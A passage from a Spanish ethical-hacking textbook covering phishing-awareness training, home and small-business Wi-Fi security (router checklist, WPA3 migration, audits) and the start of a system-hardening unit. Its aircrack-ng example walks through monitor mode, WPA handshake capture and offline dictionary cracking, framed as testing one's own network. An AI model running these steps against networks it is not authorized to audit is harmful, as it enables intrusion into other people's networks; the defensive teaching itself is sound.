Además de la tarjeta de 5 reglas (Ejercicio 3): configura con ellos el teléfono (bloqueo con PIN, actualizaciones automáticas, no instalar apps fuera de tiendas oficiales), activa MFA en sus cuentas importantes TÚ con ellos, enséñales a colgar y devolver la llamada al número oficial (practícalo una vez: el role-play familiar funciona), establece la palabra clave de emergencia familiar, y revisa sus redes sociales (fotos con datos visibles, ubicación en tiempo real desactivada). Dedícale una tarde al año por familiar vulnerable: es el proyecto de seguridad con más amor del mundo.

Cuando el atacante ya está adentro (conciencia de incidentes)

Enséñale a tu equipo las señales de compromiso: equipo lentísimo sin razón, archivos que aparecen cifrados o renombrados, el antivirus desactivado solo, correos enviados que no escribieron, contactos que reciben cosas raras "de ti". Y el protocolo de 3 pasos pegado al monitor: 1) desconecta de red (no apagues), 2) avisa a [nombre/canal] de inmediato, 3) no toques más. La velocidad de reporte es la diferencia entre incidente contenido y desastre.

Taller avanzado: materiales de capacitación listos para usar

Guion de micro-charla: "No muerdas el anzuelo" (15 minutos)

Min 0-2 (gancho): "El año pasado, 3 de cada 4 empresas sufrieron un intento de phishing. Hoy les enseño a no ser la estadística." Min 2-6 (qué es): muestra 2 phishings reales (de tu spam, anonimizados): uno obvio, uno sofisticado. Que el grupo encuentre las señales. Min 6-10 (el protocolo): presenta los 5 pasos de verificación (Unidad 7, Ejemplo 2) y haz que los repitan en voz alta. Min 10-13 (práctica): reparte 3 impresos (2 phishings, 1 legítimo); en parejas deciden y justifican. Min 13-15 (cierre): "Desde hoy, todo lo sospechoso se reporta a [canal]. Reportar es ayudar, nunca será castigado." Deja el protocolo impreso en cada escritorio. Esta charla, dada 2 veces al año, cambia culturas.

Banco de ejemplos para tus capacitaciones

Colecciona (de tu spam y de casos públicos): el "banco" que pide validar datos, el "paquete retenido", el "CEO urgente", el "documento compartido" (Google Drive falso), el "recibo de pago", el SMS del "banco", la llamada del "soporte de Microsoft". Clasifícalos por técnica (phishing, smishing, vishing, BEC) y por señal (urgencia, autoridad, premio, miedo). Con 20 ejemplos clasificados tienes material para un año de capacitaciones sin repetir. Anonimiza siempre: nada de datos reales de víctimas.

Cómo medir madurez humana (más allá del clic)

El clic es vanidoso; mide lo que importa: tasa de REPORTE (¿avisan lo sospechoso? meta: que suba), tiempo medio de reporte (¿avisan rápido?), % que verifica por segunda vía (encuestas), reincidencia (¿los que cayeron vuelven a caer tras capacitarse?), y reportes de incidentes reales originados por personal (el oro: tu gente detectando ataques de verdad). Un programa maduro no tiene 0% de clics (imposible con humanos); tiene alta tasa de reporte y respuesta rápida. Vende eso.

Conversaciones difíciles (guiones)

Con el director que pide excepciones: "Entiendo la molestia; precisamente las cuentas con más acceso son las más atacadas (whaling). Le configuro el MFA de la forma menos intrusiva y le doy soporte personal la primera semana." Con el empleado que cayó dos veces: "No pasa nada, para eso son los simulacros. Repasemos juntos las señales 5 minutos: su reporte de la próxima será el que nos salve." Con el que se burla de la capacitación: "Los atacantes aman la confianza excesiva; los estudios muestran que todos caemos cansados o apurados. El protocolo nos protege a todos, incluidos los expertos." Tono: aliado, nunca sermón.

Seguridad en viajes (protocolo para tu equipo)

Antes: respalda, actualiza, activa cifrado de disco y MFA, minimiza datos en el equipo. Durante: VPN siempre en redes ajenas, no dejar equipos solos, desconfiar de USBs y "cargadores gratis" (juice jacking: usa tu propio cargador o un bloqueador de datos USB), cuidado con shoulder surfing en aviones. Después: cambia contraseñas usadas en redes dudosas, revisa sesiones activas. Una página, para el manual del viajero de tu empresa.

Resumen de la unidad

La ingeniería social manipula personas, no máquinas, y es la causa raíz de la mayoría de los incidentes grandes. Sus formas: phishing (y spear, whaling, vishing, smishing), pretexting, baiting, tailgating, quid pro quo. Explota autoridad, urgencia, amabilidad, curiosidad y confianza. La defensa personal: no hacer clic, verificar por segunda vía, desconfiar de la urgencia. La defensa organizacional: simulacros autorizados con reglas éticas, políticas de verificación (especialmente pagos), capacitación breve y frecuente, métricas y cultura de reporte sin castigos. Protege también a tu familia con reglas simples. Y la línea ética: estas técnicas solo se usan en simulacros con autorización escrita; engañar personas reales "para enseñarles" sin permiso no es hacking ético.

En la Unidad 8 bajas al mundo físico de las ondas: tu red Wi-Fi, cómo funciona, cómo asegurarla y cómo auditarla.

UNIDAD 8: Seguridad en tu red Wi-Fi

Tu red Wi-Fi es la puerta inalámbrica de tu casa o tu negocio: atraviesa paredes y llega a la calle. Todo lo que viaja por ella (tus contraseñas, tus mensajes, tus archivos) flota en el aire a decenas de metros a la redonda. Si está mal configurada, un atacante no necesita entrar a tu casa: le basta sentarse en un coche afuera con una laptop. Por eso auditar y asegurar tu propia red inalámbrica es una de las habilidades defensivas más prácticas de este libro: aplica hoy mismo en tu casa.

Esta unidad te enseña cómo funciona Wi-Fi, qué significan WEP, WPA, WPA2 y WPA3 (y por qué algunos son papel mojado), cómo configurar tu router de forma segura paso a paso, cómo auditar TU propia red para comprobar su resistencia, y cómo detectar intrusos. Todo, como siempre, sobre tu propia red o con autorización escrita.

Explicación detallada

Cómo funciona Wi-Fi (lo esencial)

Wi-Fi comunica tus dispositivos con el router mediante ondas de radio. Cada red tiene un nombre (SSID) y opera en bandas de frecuencia (2.4 GHz: más alcance, más lenta; 5 GHz: más rápida, menos alcance; 6 GHz en Wi-Fi 6E). Los dispositivos "escuchan" el aire y el router coordina quién habla cuándo. Sin cifrado, cualquiera con una antena puede leer todo el tráfico: por eso el cifrado de la red es lo primero.

Tu router es además la puerta a internet de todos tus dispositivos: si alguien entra a tu Wi-Fi, está dentro de tu red local, donde puede escanear tus equipos (Unidad 4), atacar tu impresora, tu NAS, tus cámaras, e incluso interceptar tráfico. Proteger el Wi-Fi es proteger toda la red.

La historia del cifrado Wi-Fi: de WEP a WPA3

WEP (Wired Equivalent Privacy): el primer cifrado, de los 90. Hoy está totalmente roto: su clave se puede recuperar en minutos capturando tráfico. Si tu router aún ofrece WEP, es un museo: nunca lo uses.

WPA: el reemplazo temporal de WEP. Mejor, pero también obsoleto y vulnerable. Tampoco lo uses.

WPA2: el estándar durante más de una década. Con contraseña fuerte (AES) es sólido para hogares. Su talón de Aquiles famoso fue el ataque KRACK (2017, reinstalación de claves) y, sobre todo, las contraseñas débiles: WPA2 con "12345678" cae ante diccionario.

WPA3: el estándar actual. Mejora el apretón de manos (SAE, resiste ataques de diccionario offline), ofrece secreto hacia adelante y cifrado individual en redes abiertas (OWE). Si tu router y tus dispositivos lo soportan, úsalo. Si tienes dispositivos viejos incompatibles, WPA2/WPA3 en modo transición es el equilibrio.

Regla simple: WPA3 donde puedas, WPA2-AES como mínimo aceptable, y WEP/WPA prohibidos. Y la contraseña: larga, única, generada (Unidad 6). El cifrado más moderno con contraseña débil es como una caja fuerte con la combinación escrita en la puerta.

Configuración segura de tu router (la lista definitiva)

Accede a tu router (típicamente <http://192.168.1.1> o 192.168.0.1; las credenciales de fábrica están en la etiqueta o el manual: cámbialas YA, Unidad 6, Ejercicio 4). Luego:

1. Cambia la contraseña de administración del router (no la del Wi-Fi: la del panel). Si alguien entra al panel, controla todo.
2. Actualiza el firmware: los routers desactualizados tienen vulnerabilidades conocidas y son objetivo de botnets. Activa actualización automática si existe.
3. Usa WPA3 (o WPA2-AES mínimo). Desactiva WEP/WPA y el modo mixto inseguro si puedes.
4. Pon una contraseña Wi-Fi larga y única (20+ caracteres generados). Guárdala en tu gestor.
5. Cambia el SSID por defecto (los SSID de fábrica revelan la marca y a veces el modelo: información para el atacante).
6. Desactiva WPS: el PIN de 8 dígitos de WPS es vulnerable por diseño (se puede forzar por mitades). Es una puerta trasera con contraseña de 4+3 dígitos efectivos.
7. Desactiva la administración remota por WAN (que no se pueda configurar tu router desde internet) y el acceso por Telnet/HTTP sin cifrar si los ofrece.
8. Crea una red de invitados aislada: las visitas y los dispositivos IoT van ahí, separados de tus equipos principales. Es la segmentación casera más valiosa.
9. Desactiva UPnP si no lo necesitas: abre puertos automáticamente y ha sido fuente de vulnerabilidades.
10. Revisa los dispositivos conectados periódicamente y expulsa desconocidos.

Guarda esta lista: es tu checklist de auditoría Wi-Fi de por vida.

Red de invitados y segmentación: tu IoT en cuarentena

Tus focos inteligentes, tu tele, tu asistente de voz y tu cámara son computadoras baratas con seguridad barata: rara vez se actualizan y a veces traen vulnerabilidades de fábrica. Si comparten red con tu laptop y tu NAS, un foco comprometido es un trampolín. La solución: red de invitados/IoT separada, sin acceso a tu red principal. La mayoría de los routers modernos lo permiten en minutos. Es segmentación de red, el mismo principio que usan las empresas, aplicado a tu casa.

Auditoría de tu propia red: comprobar la cerradura

Como hacker ético, no basta con configurar: hay que verificar. La auditoría Wi-Fi propia incluye:

- Verificar el cifrado real anunciado (tu teléfono o laptop muestra "WPA2"/"WPA3" en los detalles de la red).
- Comprobar que WPS está realmente desactivado.
- Intentar un ataque de diccionario controlado contra TU red para medir la resistencia de tu contraseña (con herramientas como aircrack-ng, capturando tu propio handshake).
- Revisar dispositivos conectados y detectar intrusos.
- Medir el alcance: ¿tu señal llega muy lejos fuera de casa? (Ajustar potencia si tu router lo permite reduce exposición.)

La suite aircrack-ng (incluida en Kali) es la herramienta estándar: pone tu tarjeta Wi-Fi en modo monitor, captura el apretón de manos (handshake) de TU red y permite auditar tu contraseña offline con diccionario. Necesitas una tarjeta Wi-Fi compatible con modo monitor (el adaptador interno de muchas laptops no sirve; los adaptadores USB con chipsets Atheros/Ralink son los recomendados y baratos).

Advertencia legal clara: capturar handshakes o auditar redes que no son tuyas es ilegal. El modo monitor "escucha" todo el aire: úsalo solo para tu red, en tu propiedad.

Detectar intrusos en tu red

Señales: internet inexplicablemente lento, dispositivos desconocidos en la lista del router, actividad en horarios raros, el router con configuraciones cambiadas. Acción: cambia la contraseña Wi-Fi y la de administración, revisa la lista de dispositivos, actualiza firmware, y

considera que algún dispositivo pudo comprometerse (cambia también sus credenciales). En empresas, esto escala a sistemas de detección inalámbrica (WIDS); en casa, la revisión periódica basta.

Wi-Fi públicas: el campo minado

Redes de cafés, aeropuertos y hoteles: asume que son hostiles. Reglas: usa VPN siempre en redes públicas; prefiere tus datos móviles para operaciones sensibles (banco); desactiva la conexión automática a redes abiertas (tu teléfono puede conectarse solo a una red maliciosa con nombre conocido: ataque "evil twin"); verifica el nombre exacto de la red con el personal; y activa "red pública" en tu sistema para endurecer el perfil. Como profesional, enséñale esto a tu equipo: el teletrabajo seguro empieza aquí.

Marco ético de la unidad

Solo auditas tu propia red o redes con autorización escrita del responsable. Capturar tráfico de redes ajenas, intentar romper claves ajenas o conectarte a redes sin permiso es delito, aunque la red esté abierta. "Abierta" no significa "autorizada". Y si administras Wi-Fi de un negocio, documenta tu autorización y tu alcance igual que en un pentest (Unidad 1).

Errores comunes

Dejar la contraseña de fábrica del router: el atacante la busca en 30 segundos.

Creer que ocultar el SSID protege: no, las herramientas lo ven igual; solo incomoda a tus visitas.

WPS activado "por comodidad": es la puerta trasera más común en hogares.

No segmentar IoT: un dispositivo barato compromete todo.

Auditar una sola vez y olvidar: revisa tu red cada pocos meses y tras cada cambio de equipo.

Ejemplos paso a paso

Todos sobre TU red. Necesitas acceso de administrador a tu router y, para la auditoría avanzada, un adaptador Wi-Fi USB compatible con modo monitor.

Ejemplo 1: Auditoría exprés de tu router (checklist)

```
# Entra al panel de tu router (navegador):
# http://192.168.1.1 (o 192.168.0.1; revisa tu manual)
#
# Verifica punto por punto y anota en tu cuaderno:
# [ ] Contraseña de admin cambiada (no la de fábrica)
# [ ] Firmware actualizado (anota la versión)
# [ ] Cifrado WPA3 o WPA2-AES (nada de WEP/WPA/TKIP)
# [ ] Contraseña Wi-Fi larga y única (20+ caracteres)
# [ ] SSID cambiado (no revela marca/modelo)
# [ ] WPS desactivado
# [ ] Administración remota por WAN desactivada
# [ ] Red de invitados creada y aislada (IoT y visitas ahí)
# [ ] UPnP desactivado (si no lo usas)
#
# Cada casilla sin marcar es un hallazgo con su corrección al lado.
# Este checklist es tu primer "reporte" de auditoría Wi-Fi.
```

Ejemplo 2: Ver el cifrado real de tu red

```
# En Linux, ver detalles de la red a la que estás conectado:
nmcli -f IN-USE,SSID,CHAN,RATE,SIGNAL,SECURITY dev wifi

# La columna SECURITY debe decir WPA2, WPA3 o ambas.
# Si dice WEP o nada, tienes un problema urgente.

# Ver tu puerta de enlace (tu router) y tu IP:
ip route | grep default
```

Ejemplo 3: Inventario de dispositivos conectados

```
# Opción A: desde el panel del router (sección "clientes" o "DHCP").
# Anota cada dispositivo: ¿lo reconoces todos?
#
# Opción B: escaneo desde tu máquina (tu red, permitido):
# Averigua tu red (ej: 192.168.1.0/24) y descubre equipos:
sudo nmap -sn 192.168.1.0/24 -oN ~/laboratorio/wifi-inventario.txt

# Compara con la lista del router. Investiga cada desconocido:
# puede ser tu tele nueva... o un vecino colgado.
```

Ejemplo 4: Auditoría de tu contraseña Wi-Fi con aircrack-ng (avanzado, tu red)

```
# Requiere adaptador Wi-Fi USB con modo monitor. Sustituye wlan1 por tu interfaz.

# 1) Ver interfaces y poner en modo monitor
iwconfig
sudo airmon-ng start wlan1
# Ahora tienes una interfaz tipo wlan1mon

# 2) Ver redes y localizar la TUYA (anota canal y BSSID)
sudo airodump-ng wlan1mon

# 3) Capturar el handshake de TU red (fíltrala por BSSID y canal)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w ~/laboratorio/mi-red wlan1mon
# Espera a que un dispositivo tuyo se conecte (o reconecta tu celular)
# hasta ver "WPA handshake" arriba a la derecha. Ctrl+C.

# 4) Auditar TU contraseña con diccionario (prueba controlada)
sudo aircrack-ng -w ~/laboratorio/lista.txt ~/laboratorio/mi-red-01.cap

# INTERPRETACIÓN DEFENSIVA:
# - Si la encuentra en segundos: tu contraseña es débil. Cámbiala HOY
#   por una de 20+ caracteres generados y repite la prueba.
# - Si no la encuentra con tu lista: bien, pero prueba con una lista
#   mayor para estar seguro. La meta: que ni con listas grandes caiga.
# 5) Volver a modo normal
sudo airmon-ng stop wlan1mon
```

Ejemplo 5: Plan de respuesta ante intruso

```
# Si detectas un dispositivo desconocido en tu red:
# 1. No lo confrontes digitalmente; documenta (MAC, IP, hora).
# 2. Cambia la contraseña Wi-Fi por una nueva larga y única.
# 3. Cambia la contraseña de administración del router.
# 4. Revisa que el firmware esté actualizado y WPS desactivado.
# 5. Reconecta tus dispositivos uno por uno, verificando cada uno.
# 6. Revisa tus cuentas importantes (MFA, sesiones activas: Unidad 7).
# 7. Si administras red de negocio: escala a incidente formal y
#   considera ayuda profesional.
```

Profundización: Wi-Fi empresarial y ataques inalámbricos

(perspectiva defensiva)

802.11 en una página

Wi-Fi es el estándar IEEE 802.11. Lo que un defensor debe saber: las bandas (2.4 GHz: atraviesa paredes, más interferencia; 5 GHz: más velocidad, menos alcance; 6 GHz en Wi-Fi 6E: limpia y rápida), los canales (en 2.4 GHz solo 1, 6 y 11 no se traslapan: configura tu router en el menos saturado), y que todo el tráfico de radio puede ser capturado por cualquiera en rango (por eso el cifrado es innegociable). Las versiones (Wi-Fi 4/5/6/7) mejoran velocidad y eficiencia, y las modernas traen mejor seguridad: al renovar equipos, la seguridad mejora sola.

WPA3-SAE: por qué es mejor (sin matemáticas)

WPA2 usa un apretón de manos donde tu contraseña viaja (protegida) y un atacante que la capture puede intentar diccionario offline ilimitado. WPA3 con SAE (Simultaneous Authentication of Equals) usa un intercambio donde cada intento requiere interactuar con el punto de acceso: el diccionario offline masivo muere, y cada intento fallido es visible y bloqueable. Además, WPA3 da "secreto hacia adelante": aunque alguien robe la contraseña mañana, no puede descifrar el tráfico que capturó ayer. Traducción a negocio: con WPA3 y buena contraseña, tu Wi-Fi aguanta atacantes serios, no solo curiosos.

Wi-Fi empresarial: RADIUS y certificados

En empresas, la contraseña compartida (PSK) no escala: cuando alguien se va, habría que cambiarla en todos. La solución es WPA2/WPA3-Enterprise con servidor RADIUS: cada usuario entra con su usuario y contraseña (o certificado), se puede revocar individualmente y se audita quién se conectó. Si asesoras a una pyme en crecimiento, migrar de PSK a Enterprise es el salto de madurez inalámbrica. Los certificados por dispositivo (EAP-TLS) son el nivel máximo: sin contraseñas que robar.

Ataques inalámbricos que debes conocer (para defenderte)

Desautenticación (deauth): el atacante expulsa a tus dispositivos de la red con paquetes falsos para capturar el apretón de manos cuando se reconectan (paso previo a auditar tu contraseña) o simplemente para molestarte. Defensa: WPA3/802.11w (management frame protection) lo mitiga; y una contraseña fuerte hace inútil la captura.

Evil twin: red falsa con tu mismo nombre para que tus dispositivos se conecten al atacante. Defensa: no conexión automática, verificar SSID exacto, VPN, y en empresas certificados que validan el punto legítimo.

Rogue AP: punto de acceso no autorizado conectado a tu red (un empleado que puso "su" router). Defensa: inventarios periódicos de BSSIDs y herramientas de detección; en empresas, WIDS.

Sniffing: capturar tráfico ajeno. Defensa: cifrado WPA2/3 (el tráfico viaja cifrado) + HTTPS/VPN para lo sensible (defensa en profundidad: aunque rompan una capa, queda otra).

Nunca ejecutes estos ataques contra redes ajenas; conócelos para configurar tus defensas y para reconocer sus síntomas.

WIDS: tu radar inalámbrico

Un Wireless IDS monitorea el aire: detecta evil twins (un "tu red" con MAC distinta), ataques de deauth masivos y rogues. En casa basta la revisión manual; en empresas con datos sensibles es una inversión razonable. Incluso sin WIDS, un escaneo periódico con tu laptop (`airodump-ng`` viendo redes vecinas) te dice si apareció algo sospechoso cerca.

Plan de auditoría Wi-Fi para pymes (servicio vendible)

Ofrece esto como paquete: 1) inventario de puntos de acceso y SSIDs (¿hay rogues?); 2) verificación de cifrado y configuración contra checklist (Unidad 8); 3) prueba controlada de resistencia de la contraseña PSK (con autorización, en horario acordado); 4) revisión de segmentación (invitados/IoT separados); 5) revisión de físicos (¿el router está en un lugar accesible? reset físico = control total); 6) informe con hallazgos priorizados y plan de corrección. Seis pasos, una semana de trabajo, un informe profesional: así se vende.

Glosario de la unidad

SSID: nombre de la red Wi-Fi. BSSID: MAC del punto de acceso. PSK: contraseña compartida. RADIUS: servidor de autenticación empresarial. Deauth: expulsión forzada de la red. Evil twin: gemelo malvado (red falsa). WIDS: sistema de detección inalámbrica. Handshake: apretón de manos de autenticación.

Práctica

Ejercicio 1: Checklist completo

Aplica el checklist del Ejemplo 1 a tu router real. ¿Cuántas casillas cumplías antes de leer esta unidad? Corrige todas las que falten y documenta antes/después.

Solución: La mayoría de los hogares cumple 3-5 de 9 al inicio. Lo valioso es el "después": las 9 casillas marcadas. Si tu router no soporta WPA3, WPA2-AES con contraseña de 20+ caracteres es aceptable; anota como mejora futura renovar el equipo. Guarda tu checklist: repítelo cada 6 meses.

Ejercicio 2: Caza al colgado

Haz el inventario de dispositivos (Ejemplo 3) e identifica cada uno por su MAC (el fabricante se deduce de los primeros 3 octetos; busca "MAC vendor lookup"). ¿Hay algún desconocido?

Solución: Documenta cada dispositivo con nombre, tipo y MAC. Si hay desconocidos, sigue el plan del Ejemplo 5. Consejo profesional: ponle nombre a cada dispositivo en el router (o reserva DHCP) para que futuros inventarios sean instantáneos. Un inventario con nombre es una herramienta de detección permanente.

Ejercicio 3: Mide tu contraseña

Si tienes adaptador compatible, audita tu contraseña Wi-Fi (Ejemplo 4) primero con tu lista pequeña y luego con una lista mayor. ¿Aguanta? Si no tienes adaptador, evalúa honestamente tu contraseña actual contra los criterios (20+, única, generada) y cámbiala si falla.

Solución: El estándar es: no debe caer con listas comunes en tiempo razonable. Si cayó, cámbiala por una generada de 20+ caracteres y repite. Si no tienes adaptador, el criterio honesto basta por ahora, pero considera conseguir uno: es barato y es tu herramienta de auditoría Wi-Fi de por vida.

Ejercicio 4: Segmenta tu IoT

Crea la red de invitados en tu router, mueve ahí tus dispositivos IoT (focos, tele, asistente) y verifica que no pueden ver tu red principal (intenta hacer ping a tu laptop desde un dispositivo de la red de invitados: no debería responder).

Solución: Si el ping falla entre redes, la segmentación funciona. Documenta qué dispositivos moviste. Este es el ejercicio con mejor relación esfuerzo/protección de toda la unidad: 15 minutos que aíslan tu eslabón más débil.

Ejercicio 5: Política de Wi-Fi para un negocio pequeño

Escribe una política de una cuartilla: red de empleados vs invitados, contraseñas, quién autoriza accesos, revisión periódica y qué hacer ante sospecha de intruso.

Solución: Debe incluir: SSIDs separados (empleados con WPA3 + contraseña rotada periódicamente; invitados con portal o contraseña simple rotada frecuentemente y aislada), responsable de altas/bajas (al salir un empleado, cambiar la clave), revisión trimestral de dispositivos, y procedimiento ante intruso (Ejemplo 5 adaptado). Si un negocio pequeño puede aplicarla sin experto, es buena.

Ejercicio 6: Evil twin explicado

Explica con tus palabras qué es un ataque "evil twin" y diseña 3 reglas para tu equipo sobre Wi-Fi públicas.

Solución: Evil twin = red falsa con el mismo nombre que una legítima (ej: "Cafe_WiFi" del atacante) para interceptar tráfico de quien se conecte. Reglas válidas: 1) VPN obligatoria en redes públicas; 2) desactivar conexión automática y verificar el nombre exacto con el personal; 3) no hacer operaciones sensibles (banco, correo corporativo) sin VPN o datos móviles. Si tus reglas son concretas y aplicables, están bien.

Caso práctico integral: auditoría Wi-Fi completa para un negocio (proyecto vendible)

Proyecto: auditar la red inalámbrica de las oficinas de "Café Aroma S.A." (3 sucursales + matriz). Alcance firmado: redes corporativas de los 4 sitios, horario 19:00-22:00, sin afectar operación. Así se ejecuta:

Fase 1: Documentación previa. Pide: inventario de puntos de acceso (marca, modelo, firmware), SSIDs y su propósito, quién administra, última actualización. La mitad de las auditorías ya encuentran hallazgos aquí (firmwares de 2019, SSIDs con nombres de la empresa + "invitados" sin aislar).

Fase 2: Visita y reconocimiento pasivo. En cada sitio, con tu laptop: lista SSIDs visibles, anota BSSIDs, canales y señal; verifica cifrado anunciado (¿algún AP en WPA o abierto?); mide alcance desde la calle (¿la red corporativa llega al estacionamiento?). Todo pasivo, todo anotado con hora y ubicación.

Fase 3: Revisión de configuración (con credenciales del admin, a su lado). Checklist de la Unidad 8 punto por punto: admin, firmware, cifrado, WPS, WAN remota, invitados, UPnP. Cada "no" es un hallazgo con foto de evidencia (censurando datos sensibles).

Fase 4: Prueba controlada de resistencia (autorizada, un sitio piloto). Captura tu propio handshake de la red corporativa y audita la PSK con diccionario pactado. Si cae: hallazgo crítico con recomendación inmediata (rotar a 20+ generada). Si no cae: evidencia de fortaleza para el informe.

Fase 5: Segmentación. Verifica aislamiento real: desde la red de invitados intenta alcanzar la corporativa (no debe poder). Revisa dónde están los IoT (¿las cámaras en la red de empleados? hallazgo).

Fase 6: Informe por sitio + consolidado. Hallazgos priorizados, fotos, plan de corrección con responsables y fechas, y re-test a 30 días. Entregas 4 mini-informes y uno ejecutivo: el dueño ve el global, cada encargado ve el suyo.

Este proyecto de 2 semanas es un servicio real, repetible y rentable. Adáptalo a cibercafés, escuelas, clínicas: todos tienen Wi-Fi y casi ninguno lo audita.

Endurecimiento físico: el router también se toca

Seguridad física del equipo: el router en un lugar con acceso controlado (el botón de reset de fábrica borra tu configuración en 10 segundos), etiquetado de equipos, inventario de quién tiene acceso físico, y respaldo de la configuración (casi todos los routers permiten exportarla: guárdala cifrada). Un atacante con acceso físico y 2 minutos no necesita tu Wi-Fi: necesita tu descuido.

Wi-Fi en eventos y oficinas temporales

Ferias, pop-ups, home office: reglas express. Usa el hotspot de tu celular en vez de redes desconocidas cuando puedas; si debes crear una red temporal, WPA3 + contraseña generada + apágala al terminar; nunca administres infraestructura crítica desde redes no confiables sin VPN; y al volver, revisa que tus dispositivos no hayan memorizado redes sospechosas (bórralas de la lista). Lo temporal también se asegura: los atacantes aman lo "provisional para siempre".

Monitoreo continuo casero (5 minutos al mes)

Rutina mensual: entra al router, revisa dispositivos conectados (¿todos conocidos?), verifica que el firmware siga al día, confirma que no se reactivó WPS solo (algunos firmwares lo hacen al actualizar), y revisa que tus reglas siguen (a veces un "técnico" las cambia). Anota fecha y "todo normal" en tu cuaderno: la constancia es la seguridad. Pon recordatorio en tu calendario: la seguridad que depende de memoria falla.

Taller avanzado: guía de migración a WPA3 y diagnóstico Wi-Fi

Plan de migración WPA3 (para hogares y pymes)

Paso 1: Inventario. Lista tus dispositivos Wi-Fi y verifica cuáles soportan WPA3 (móviles y laptops de los últimos ~5 años, sí; gadgets viejos e IoT baratos, quizá no). Paso 2: Actualiza el router a firmware reciente (muchos agregaron WPA3 por software). Paso 3: Activa modo transición WPA2/WPA3: los modernos usan WPA3, los viejos siguen con WPA2, sin dejar a nadie fuera. Paso 4: Prueba una semana: ¿algún dispositivo se desconecta? (algunos IoT viejos fallan: esos van a la red de invitados con WPA2). Paso 5: Cuando todo lo crítico soporte WPA3, sube a WPA3-only en la red principal. Documenta cada paso: si algo falla, sabes qué revertir. La migración sin prisa pero sin pausa.

Diagnóstico de problemas Wi-Fi (árbol de decisión)

"Lento": ¿todos los dispositivos o uno? (uno: problema del dispositivo; todos: router o interferencia). ¿Cerca del router también? (sí: revisa canal saturado con app analizadora; no: cobertura: reubica el router en alto y céntrico, o agrega punto de acceso). "Se desconecta": ¿a ciertas horas? (interferencia de vecinos: cambia canal), ¿un solo dispositivo? (actualiza su driver/firmware). "No conecta": ¿contraseña correcta? ¿el router no llegó al límite de clientes? ¿probaste olvidar la red y reconectar? Este árbol resuelve el 90% de los casos sin ser experto: diagnóstico ordenado antes de comprar equipo nuevo.

Canales y vecinos: optimización con herramientas gratis

Apps analizadoras Wi-Fi (en tu teléfono) muestran qué canales usan tus vecinos. En 2.4 GHz usa 1, 6 u 11 (los únicos que no se traslapan) eligiendo el menos ocupado; en 5 GHz hay más canales limpios: elige uno libre. Reubica el router: alto, céntrico, lejos de microondas y muros de concreto. Pequeños ajustes, grandes mejoras: la optimización también es parte de administrar una red (y de auditarla: un sitio con 20 redes vecinas necesita más cuidado que uno aislado).

IoT: guía de compra segura (para ti y tus clientes)

Antes de comprar un gadget conectado: ¿el fabricante publica actualizaciones de seguridad? ¿permite cambiar la contraseña por defecto? ¿funciona sin cuenta en la nube (o la exige)? ¿qué datos recolecta y a dónde van? Marcas sin política de seguridad clara = riesgo permanente en tu red. Recomienda a tus clientes una lista blanca de marcas auditable: es consultoría preventiva que evita incidentes (y demuestra que piensas más allá del checklist).

Respuesta a "me hackearon el Wi-Fi" (protocolo de ayuda)

Cuando un familiar o cliente llega asustado: 1) calma y datos: ¿qué vio exactamente? (dispositivo desconocido, lentitud, aviso del banco). 2) Revisión: dispositivos conectados, cambios en el router. 3) Contención: cambia contraseña Wi-Fi + admin por generadas largas, actualiza firmware, verifica WPS desactivado. 4) Descarte: ¿el "hackeo" era en realidad phishing o malware en su PC? (muchos "me hackearon el wifi" son otra cosa: diagnostica antes de asegurar). 5) Refuerzo: red de invitados, MFA en cuentas importantes, y educación de 10 minutos. Cobra por este servicio con confianza: resuelves un miedo real con método.

Resumen de la unidad

Wi-Fi transmite por radio más allá de tus paredes: su seguridad es la seguridad de toda tu red. Usa WPA3 (o WPA2-AES mínimo), jamás WEP/WPA. Asegura tu router con el checklist: contraseña de admin cambiada, firmware actualizado, WPS desactivado, administración remota cerrada, SSID no revelador, UPnP innecesario apagado y red de invitados para visitas e IoT. Audita tu propia red: verifica el cifrado real, inventaría dispositivos, y prueba la resistencia de tu contraseña con aircrack-ng contra tu propio handshake. Detecta intrusos por dispositivos desconocidos y lentitud inexplicable. En Wi-Fi públicas, asume hostilidad: VPN, sin conexiones automáticas y nada sensible sin protección. Y siempre: solo tu red o autorización escrita.

En la Unidad 9 endurecerás los sistemas mismos: hardening de Linux y Windows para que cada equipo sea una fortaleza.

UNIDAD 9: Hardening de sistemas

Hasta ahora aprendiste a encontrar debilidades. Esta unidad es pura construcción: cómo dejar un sistema Linux o Windows tan endurecido que los ataques que aprendiste a detectar se estrellen contra él. "Hardening" significa endurecer: reducir la superficie de ataque, cerrar lo innecesario, configurar lo necesario de forma segura y vigilar lo importante. Es el trabajo defensivo más directo de todo el libro, y lo aplicarás primero en tus propias máquinas.

La filosofía del hardening cabe en una frase: "todo lo que no se necesita, se quita; todo lo que se necesita, se asegura". Cada servicio corriendo, cada cuenta creada, cada puerto abierto es una oportunidad para el atacante. Un servidor con 5 servicios bien configurados es infinitamente más seguro que uno con 50 servicios "por si acaso". La seguridad ama la simplicidad.

Piensa en una fortaleza medieval: no tiene 40 puertas "por si acaso", tiene una puerta bien vigilada, muros altos, y cada entrada tiene un propósito. El hardening convierte tu sistema en esa fortaleza: pocas puertas, bien cerradas, bien vigiladas.

Explicación detallada

Principios fundamentales

Mínimo privilegio: cada usuario, programa y servicio debe tener solo los permisos estrictamente necesarios para su función, ni uno más. El atacante que compromete una cuenta limitada llega hasta donde la cuenta llega: si la cuenta no puede instalar software ni leer datos sensibles, el daño se contiene. En la práctica: no trabajes como root/administrador a diario, usa sudo; los servicios corren con usuarios dedicados de bajos privilegios; revisa permisos de archivos sensibles.

Reducción de superficie de ataque: desinstala lo que no uses, deshabilita servicios innecesarios, cierra puertos que no necesitas. Cada cosa que quitas es una vulnerabilidad potencial menos. Un servidor web no necesita un servidor de impresión ni Bluetooth.

Defensa en profundidad: no confíes en una sola barrera. Firewall + actualizaciones + contraseñas fuertes + MFA + monitoreo: si una capa falla, las demás contienen. Es la razón por la que este libro enseña muchas defensas y no una "bala de plata" (que no existe).

Configuración segura por defecto: cuando instales algo, revisa sus valores de fábrica antes de exponerlo: credenciales por defecto, servicios de ejemplo, interfaces de administración abiertas. Lo viste en Wi-Fi (Unidad 8) y aplica a todo.

Actualización constante: el parche es la corrección del fabricante a vulnerabilidades conocidas. Un sistema sin parches es un sistema con vulnerabilidades documentadas públicamente esperando a ser usadas. Automatiza las actualizaciones de seguridad donde puedas.

Hardening de Linux (tu Kali, tus servidores)

